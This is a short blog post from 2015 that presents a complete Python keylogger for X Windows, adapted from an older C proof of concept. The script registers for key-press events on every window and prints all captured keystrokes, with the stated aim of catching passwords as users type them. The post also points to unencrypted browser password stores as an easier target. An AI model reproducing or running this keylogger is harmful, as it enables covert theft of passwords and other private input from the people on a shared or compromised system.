Keylogger for XWindows

Mon 16 March, 2015

Any sufficiently privileged user can connect to X and read all keystrokes. So if, for example, this script is running as the currently logged in user, it can read that user’s keystrokes when they type in their passwords.

There’s the easier way to get user passwords, of course. Few people set a master password in their browser. This means the browser stores passwords unencrypted (or use a hard-coded default encryption key in the browser’s source).

I wrote this when I saw a proof of concept X keylogger online from 1997. Run it through gcc—it still works! Here’s almost a direct translation from the C to Python.

You do need python-xlib and, last I checked, there’s a minor bug with the version that ships with some distributions, so YMMV.

#!/usr/bin/env python2
from Xlib import X, display, XK
import sys

def show_press(f):
    '''Ask X to tell us about every window.'''
    wins = f.query_tree()
    f.change_attributes(event_mask=X.KeyPress)

    if len(wins.children) == 0:
        return
    for each in wins.children:
        show_press(each)


display_name = sys.argv[1] if len(sys.argv) == 2 else ':0'
d = display.Display(display_name)
root = d.screen().root
show_press(root)
while True:
    e = d.next_event()
    # ignores all modifier keys
    k = XK.keysym_to_string(d.keycode_to_keysym(e.detail, 0))

    if not k:
        pass
    elif ord(k) == 8:
        # don't delete output when user backspaces :)
        sys.stdout.write("^H")
    else:
        try:
            sys.stdout.write(k)
        except:
            pass
    sys.stdout.flush()